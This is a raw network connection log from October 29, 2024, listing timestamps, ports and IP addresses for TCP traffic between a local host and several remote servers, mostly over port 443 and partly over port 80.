Oct 29, 2024 17:59:41.189477921 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.189488888 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.192425013 CET	49952	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.192481995 CET	443	49952	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.192651987 CET	49952	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.192738056 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.192775965 CET	49952	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.192792892 CET	443	49952	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.192807913 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.192929029 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.192992926 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.192992926 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.193010092 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.193022013 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.195241928 CET	49953	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.195272923 CET	443	49953	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.195300102 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.195329905 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.195420027 CET	49953	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.195457935 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.195477009 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.195557117 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.196151972 CET	49953	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.196171045 CET	443	49953	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.196346045 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.220829964 CET	443	49946	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.220890999 CET	443	49946	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.221034050 CET	49946	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.221188068 CET	49946	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.221188068 CET	49946	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.221200943 CET	443	49946	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.221210003 CET	443	49946	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.223880053 CET	49954	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.223916054 CET	443	49954	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.224104881 CET	49954	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.224190950 CET	49954	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.224201918 CET	443	49954	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.234745979 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.234769106 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.234814882 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.234858036 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.234956026 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.235270977 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.235291958 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.235321999 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.235330105 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.237430096 CET	49956	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.237467051 CET	443	49956	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.237692118 CET	49956	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.237737894 CET	49956	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.237745047 CET	443	49956	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.248689890 CET	49837	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:41.248972893 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:41.254056931 CET	80	49837	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:41.254246950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:41.254440069 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:41.254440069 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:41.254551888 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:41.259957075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:41.260051966 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:41.260061026 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:41.260071039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:41.270755053 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.270780087 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.270869970 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.270869970 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.270881891 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.271059036 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.314274073 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.314296007 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.314775944 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.314790964 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.315221071 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.388721943 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.388746977 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.388916016 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.388916016 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.388930082 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.389873028 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.430176973 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.430255890 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.430269957 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.430288076 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.430388927 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.430389881 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.433331966 CET	49933	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.433351994 CET	443	49933	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.599482059 CET	49959	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.599523067 CET	443	49959	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.600140095 CET	49959	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.600426912 CET	49959	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.600440979 CET	443	49959	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.787683964 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.788677931 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.788677931 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.788696051 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.788706064 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.902745008 CET	49960	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.902812004 CET	443	49960	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.902930975 CET	49960	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.903105021 CET	49960	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.903116941 CET	443	49960	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.917155027 CET	49961	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.917205095 CET	443	49961	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.917356968 CET	49961	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.917799950 CET	49962	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.917835951 CET	443	49962	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.917892933 CET	49962	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.918135881 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.918147087 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.918209076 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.918441057 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.918443918 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.918472052 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.918474913 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.918517113 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.918530941 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.918536901 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.918586969 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.918617964 CET	49962	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.918633938 CET	443	49962	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.918728113 CET	49961	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.918740034 CET	443	49961	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.919059038 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.919070959 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.919127941 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:41.919147015 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:41.919524908 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.919524908 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.919553041 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.919564962 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.923815966 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.923844099 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.923906088 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.924114943 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.924129963 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.926182032 CET	443	49952	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.926567078 CET	49952	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.926584959 CET	443	49952	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.927006960 CET	49952	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.927012920 CET	443	49952	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.953030109 CET	443	49953	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.953630924 CET	49953	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.953664064 CET	443	49953	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.954077005 CET	49953	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.954083920 CET	443	49953	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.955988884 CET	443	49954	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.956309080 CET	49954	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.956326008 CET	443	49954	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.956792116 CET	49954	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.956796885 CET	443	49954	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.972621918 CET	443	49956	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.972984076 CET	49956	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.973016024 CET	443	49956	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:41.973387957 CET	49956	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:41.973393917 CET	443	49956	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.056133032 CET	443	49952	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.056174040 CET	443	49952	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.056232929 CET	443	49952	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.056241035 CET	49952	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.056273937 CET	49952	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.057046890 CET	49952	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.057070017 CET	443	49952	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.060353994 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.060395002 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.060623884 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.060830116 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.060842991 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.087541103 CET	443	49954	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.087608099 CET	443	49954	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.087666988 CET	49954	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.087920904 CET	49954	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.087938070 CET	443	49954	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.091684103 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.091708899 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.091804981 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.092061043 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.092073917 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.102112055 CET	443	49953	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.102170944 CET	443	49953	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.102272034 CET	49953	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.102842093 CET	49953	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.102842093 CET	49953	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.102863073 CET	443	49953	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.102884054 CET	443	49953	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.105230093 CET	443	49956	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.105401039 CET	443	49956	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.105540037 CET	49956	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.106792927 CET	49956	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.106811047 CET	443	49956	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.106822014 CET	49956	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.106828928 CET	443	49956	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.108764887 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.108802080 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.109124899 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.109911919 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.109930038 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.110804081 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.110831976 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.111690998 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.112114906 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.112128019 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.328650951 CET	443	49959	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.329013109 CET	49959	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.329030037 CET	443	49959	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.329416037 CET	443	49959	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.329734087 CET	49959	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.329818010 CET	443	49959	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.330003023 CET	49959	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.371326923 CET	443	49959	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.459861994 CET	443	49959	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.459917068 CET	443	49959	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.459966898 CET	49959	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.459981918 CET	443	49959	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.460000038 CET	443	49959	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.460047007 CET	49959	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.461301088 CET	49959	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.461317062 CET	443	49959	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.462981939 CET	49972	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.463016987 CET	443	49972	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.463079929 CET	49972	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.464169025 CET	49972	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.464175940 CET	443	49972	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.588730097 CET	49973	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:42.588768005 CET	443	49973	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:42.588876009 CET	49973	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:42.589364052 CET	49974	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:42.589468002 CET	443	49974	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:42.589543104 CET	49974	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:42.589642048 CET	49973	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:42.589654922 CET	443	49973	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:42.589881897 CET	49974	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:42.589900017 CET	443	49974	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:42.637980938 CET	443	49960	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.638258934 CET	49960	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.638273954 CET	443	49960	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.639328003 CET	443	49960	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.639415979 CET	49960	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.639780998 CET	49960	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.639830112 CET	443	49960	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.640026093 CET	49960	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.640032053 CET	443	49960	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.655303001 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.655828953 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.655853033 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.656230927 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.656235933 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.658092976 CET	443	49962	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.658324003 CET	49962	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.658337116 CET	443	49962	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.659811974 CET	443	49962	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.659881115 CET	49962	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.660193920 CET	49962	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.660276890 CET	443	49962	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.660356998 CET	49962	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.660362959 CET	443	49962	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.664999962 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.665162086 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.667125940 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.667148113 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.667244911 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.667267084 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.668366909 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.668426991 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.668695927 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.668714046 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.668750048 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.668781996 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.669011116 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.669095039 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.669106960 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.669116020 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.669276953 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.669286966 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.671972036 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:42.672049999 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:42.672553062 CET	443	49961	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.672730923 CET	49961	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.672743082 CET	443	49961	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.674210072 CET	443	49961	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.674293041 CET	49961	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.674855947 CET	49961	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.674932957 CET	443	49961	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.675018072 CET	49961	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.675026894 CET	443	49961	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.682033062 CET	49960	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.712490082 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.712491035 CET	49962	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.713244915 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.729147911 CET	49961	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.781318903 CET	443	49960	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.781335115 CET	443	49960	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.781389952 CET	443	49960	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.781415939 CET	49960	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.781456947 CET	49960	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.782635927 CET	49960	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.782661915 CET	443	49960	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.783071041 CET	49975	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.783117056 CET	443	49975	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.783180952 CET	49975	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.784087896 CET	49975	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.784106970 CET	443	49975	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.786279917 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.786313057 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.786390066 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.786521912 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.786808014 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.786808968 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.786827087 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.786835909 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.789477110 CET	443	49962	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.789511919 CET	443	49962	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.789669037 CET	49962	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.789689064 CET	443	49962	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.789777994 CET	443	49962	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.789820910 CET	49962	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.795228004 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.795260906 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.795332909 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.803421021 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.803527117 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.803594112 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.803648949 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.803766012 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.803791046 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.803860903 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.803898096 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.803968906 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.804023981 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.804884911 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.804904938 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.805973053 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.806551933 CET	443	49961	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.806623936 CET	443	49961	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.806763887 CET	49961	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.806766033 CET	443	49961	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.806848049 CET	49961	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.807887077 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.807912111 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.808413982 CET	49966	443	192.168.2.6	13.107.246.45
